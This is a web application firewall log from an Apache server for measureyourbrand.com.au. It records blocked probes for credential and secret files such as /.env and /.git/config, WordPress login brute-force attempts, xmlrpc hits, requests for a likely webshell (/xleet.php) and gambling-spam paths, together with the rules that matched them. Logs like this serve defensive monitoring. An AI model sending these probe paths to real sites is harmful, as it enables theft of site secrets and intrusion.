[Wed Apr 29 13:14:34.130336 2026] [:error] [pid 45119:tid 45142] [client 85.11.167.38:26966] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/app/config/parameters.yml"] [unique_id "afGTusgCO5XKzjdJ_HYClAAAAxU"], referer: http://measureyourbrand.com.au/
[Wed Apr 29 13:14:34.137953 2026] [:error] [pid 45119:tid 45135] [client 85.11.167.38:27036] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env-config.js"] [unique_id "afGTusgCO5XKzjdJ_HYClQAAAw4"], referer: http://measureyourbrand.com.au/
[Wed Apr 29 13:14:34.139303 2026] [:error] [pid 2604:tid 2627] [client 85.11.167.38:27014] [client 85.11.167.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/config/parameters.yml" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/config/parameters.yml"] [unique_id "afGTuhx5WQMU1W68tTYV9gAAAFU"], referer: http://measureyourbrand.com.au/
[Wed Apr 29 15:27:04.219228 2026] [:error] [pid 45289:tid 45300] [client 45.119.85.39:49553] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-login.php"] [unique_id "afGyyF_vGmZY7dOOIwrLagAAA4g"], referer: https://www.google.com
[Wed Apr 29 15:27:04.219334 2026] [:error] [pid 45289:tid 45300] [client 45.119.85.39:49553] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 58"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-login.php"] [unique_id "afGyyF_vGmZY7dOOIwrLagAAA4g"], referer: https://www.google.com
[Wed Apr 29 15:47:01.743885 2026] [:error] [pid 61540:tid 61586] [client 45.119.85.39:63294] [client 45.119.85.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.119.85.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "afG3deQ8cJB7pQslzIfXBQAAAI0"], referer: https://www.google.com
[Wed Apr 29 15:47:01.743989 2026] [:error] [pid 61540:tid 61586] [client 45.119.85.39:63294] [client 45.119.85.39] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 45.119.85.39 on wp-login.php, counter = 232"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-login.php"] [unique_id "afG3deQ8cJB7pQslzIfXBQAAAI0"], referer: https://www.google.com
[Wed Apr 29 16:10:14.211408 2026] [:error] [pid 2604:tid 2606] [client 104.248.81.90:53922] [client 104.248.81.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.81.90, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afG85hx5WQMU1W68tTYllQAAAEA"]
[Wed Apr 29 16:10:15.235540 2026] [:error] [pid 61540:tid 61590] [client 104.248.81.90:59787] [client 104.248.81.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.248.81.90, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afG85-Q8cJB7pQslzIfZQAAAAJE"]
[Wed Apr 29 16:17:33.294470 2026] [:error] [pid 45054:tid 45079] [client 43.166.237.57:51484] [client 43.166.237.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afG-nYtL6SUL31r23c-r_QAAApc"]
[Wed Apr 29 16:49:03.436964 2026] [:error] [pid 45054:tid 45071] [client 167.172.48.52:60634] [client 167.172.48.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.48.52, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afHF_4tL6SUL31r23c-y8gAAAo8"]
[Wed Apr 29 16:49:04.427213 2026] [:error] [pid 45054:tid 45070] [client 167.172.48.52:57194] [client 167.172.48.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.48.52, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "afHGAItL6SUL31r23c-y8wAAAo4"]
[Wed Apr 29 18:48:36.035115 2026] [:error] [pid 44766:tid 44768] [client 175.27.163.171:48350] [client 175.27.163.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afHiBKVI9GtM_JyauAJAMgAAAYA"]
[Wed Apr 29 19:35:02.413771 2026] [:error] [pid 2604:tid 2617] [client 2.57.122.173:52354] [client 2.57.122.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "afHs5hx5WQMU1W68tTY2GgAAAEs"]
[Wed Apr 29 19:35:03.041398 2026] [:error] [pid 61540:tid 61587] [client 2.57.122.173:44370] [client 2.57.122.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/production/.env"] [unique_id "afHs5-Q8cJB7pQslzIfzzwAAAI4"]
[Wed Apr 29 19:35:04.101911 2026] [:error] [pid 45085:tid 45089] [client 2.57.122.173:44386] [client 2.57.122.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "afHs6NS7eNjgd8gD6ZwcrQAAAsI"]
[Wed Apr 29 19:35:04.131527 2026] [:error] [pid 45085:tid 45097] [client 2.57.122.173:44396] [client 2.57.122.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/config/.env.production"] [unique_id "afHs6NS7eNjgd8gD6ZwcrgAAAso"]
[Wed Apr 29 20:07:24.951618 2026] [:error] [pid 21136:tid 21143] [client 43.153.102.138:42378] [client 43.153.102.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "afH0fClIfGGQdPVv8_PgAAAAAEI"]
[Wed Apr 29 21:10:00.031748 2026] [:error] [pid 21227:tid 21246] [client 43.156.204.134:40728] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afIDKMB3c6U5AGPPsXqStgAAAM0"]
[Wed Apr 29 23:02:15.966114 2026] [:error] [pid 21536:tid 21540] [client 195.178.110.223:49516] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "afIddyREaVkH9P5H_LQ1_gAAAII"]
[Wed Apr 29 23:02:16.927953 2026] [:error] [pid 21138:tid 21196] [client 195.178.110.223:49548] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "afIdeJuzwUiyMeUnp30GvQAAAQA"]
[Wed Apr 29 23:02:17.887766 2026] [:error] [pid 21227:tid 21234] [client 195.178.110.223:49570] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "afIdecB3c6U5AGPPsXqfDgAAAME"]
[Wed Apr 29 23:09:16.440654 2026] [:error] [pid 21138:tid 21204] [client 172.213.161.119:2296] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "afIfHJuzwUiyMeUnp30INwAAAQc"]
[Wed Apr 29 23:09:17.485592 2026] [:error] [pid 21138:tid 21206] [client 172.213.161.119:15715] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "afIfHZuzwUiyMeUnp30IOAAAAQk"]
[Wed Apr 29 23:09:18.562056 2026] [:error] [pid 21536:tid 21546] [client 172.213.161.119:30250] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "afIfHiREaVkH9P5H_LQ2eAAAAIg"]
[Wed Apr 29 23:09:19.567827 2026] [:error] [pid 21136:tid 21165] [client 172.213.161.119:28097] [client 172.213.161.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xleet.php"] [unique_id "afIfHylIfGGQdPVv8_Pz5wAAAFg"]
[Thu Apr 30 02:18:21.061071 2026] [:error] [pid 21138:tid 21197] [client 103.237.39.212:65117] [client 103.237.39.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.237.39.212, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afJLbZuzwUiyMeUnp31BXwAAAQE"]
[Thu Apr 30 02:18:49.568458 2026] [:error] [pid 21137:tid 21192] [client 223.185.134.204:24247] [client 223.185.134.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.134.204, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afJLifw-HnaioFPIurWe_wAAABc"]
[Thu Apr 30 04:08:57.131874 2026] [:error] [pid 18113:tid 18197] [client 54.36.60.45:56792] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "afJlWXiIjwsVGkvz5IlHHAAAAJQ"]
[Thu Apr 30 04:09:00.569738 2026] [:error] [pid 18112:tid 18164] [client 54.36.60.45:38886] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afJlXCUrJv3y8j6Lm1uRiAAAAE4"]
[Thu Apr 30 04:09:03.215805 2026] [:error] [pid 18220:tid 18232] [client 54.36.60.45:38888] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afJlX8yESVSfAPebmxbaXgAAAMk"]
[Thu Apr 30 04:09:06.002292 2026] [:error] [pid 18113:tid 18177] [client 54.36.60.45:52346] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afJlYniIjwsVGkvz5IlHMAAAAIA"]
[Thu Apr 30 04:09:09.169990 2026] [:error] [pid 18220:tid 18245] [client 54.36.60.45:52360] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afJlZcyESVSfAPebmxbafQAAANY"]
[Thu Apr 30 04:09:12.272512 2026] [:error] [pid 18220:tid 18232] [client 54.36.60.45:52368] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afJlaMyESVSfAPebmxbahgAAAMk"]
[Thu Apr 30 04:09:15.585041 2026] [:error] [pid 18220:tid 18246] [client 54.36.60.45:59312] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afJla8yESVSfAPebmxbalQAAANc"]
[Thu Apr 30 04:09:18.766438 2026] [:error] [pid 18113:tid 18187] [client 54.36.60.45:59322] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afJlbniIjwsVGkvz5IlHQwAAAIo"]
[Thu Apr 30 04:09:21.359049 2026] [:error] [pid 18111:tid 18136] [client 54.36.60.45:59328] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afJlcWctLbxB7Q1_oK13EQAAAA4"]
[Thu Apr 30 04:09:24.460604 2026] [:error] [pid 18113:tid 18193] [client 54.36.60.45:59520] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afJldHiIjwsVGkvz5IlHSgAAAJA"]
[Thu Apr 30 04:09:27.359396 2026] [:error] [pid 18112:tid 18155] [client 54.36.60.45:59536] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afJldyUrJv3y8j6Lm1uRoQAAAEU"]
[Thu Apr 30 04:09:30.238200 2026] [:error] [pid 18112:tid 18166] [client 54.36.60.45:59550] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afJleiUrJv3y8j6Lm1uRpwAAAFA"]
[Thu Apr 30 04:09:32.797342 2026] [:error] [pid 18111:tid 18142] [client 54.36.60.45:59554] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "afJlfGctLbxB7Q1_oK13GQAAABQ"]
[Thu Apr 30 04:09:35.366462 2026] [:error] [pid 18220:tid 18227] [client 54.36.60.45:49116] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afJlf8yESVSfAPebmxbaqwAAAMQ"]
[Thu Apr 30 04:09:37.818449 2026] [:error] [pid 18112:tid 18152] [client 54.36.60.45:49130] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afJlgSUrJv3y8j6Lm1uRrAAAAEI"]
[Thu Apr 30 04:09:40.166941 2026] [:error] [pid 18220:tid 18234] [client 54.36.60.45:49142] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afJlhMyESVSfAPebmxbauwAAAMs"]
[Thu Apr 30 04:09:42.507962 2026] [:error] [pid 18113:tid 18182] [client 54.36.60.45:49154] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afJlhniIjwsVGkvz5IlHWgAAAIU"]
[Thu Apr 30 04:09:44.907826 2026] [:error] [pid 18113:tid 18180] [client 54.36.60.45:46440] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "afJliHiIjwsVGkvz5IlHXQAAAIM"]
[Thu Apr 30 04:09:47.231172 2026] [:error] [pid 18113:tid 18178] [client 54.36.60.45:46454] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afJli3iIjwsVGkvz5IlHYgAAAIE"]
[Thu Apr 30 04:09:49.631106 2026] [:error] [pid 18220:tid 18239] [client 54.36.60.45:46470] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afJljcyESVSfAPebmxbazwAAANA"]
[Thu Apr 30 04:09:51.950546 2026] [:error] [pid 18113:tid 18187] [client 54.36.60.45:46482] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afJlj3iIjwsVGkvz5IlHdAAAAIo"]
[Thu Apr 30 04:09:54.307152 2026] [:error] [pid 18113:tid 18177] [client 54.36.60.45:46484] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afJlkniIjwsVGkvz5IlHeAAAAIA"]
[Thu Apr 30 04:10:15.582901 2026] [:error] [pid 18220:tid 18227] [client 54.36.60.45:52274] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "afJlp8yESVSfAPebmxbbAgAAAMQ"]
[Thu Apr 30 04:10:18.041269 2026] [:error] [pid 18112:tid 18158] [client 54.36.60.45:54220] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "afJlqiUrJv3y8j6Lm1uR6QAAAEg"]
[Thu Apr 30 04:10:20.489313 2026] [:error] [pid 18112:tid 18168] [client 54.36.60.45:54224] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "afJlrCUrJv3y8j6Lm1uR8wAAAFI"]
[Thu Apr 30 04:10:22.982658 2026] [:error] [pid 52350:tid 52368] [client 54.36.60.45:54228] [client 54.36.60.45] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "afJlrv1j4GHE9hm7bfchwAAAAQo"]
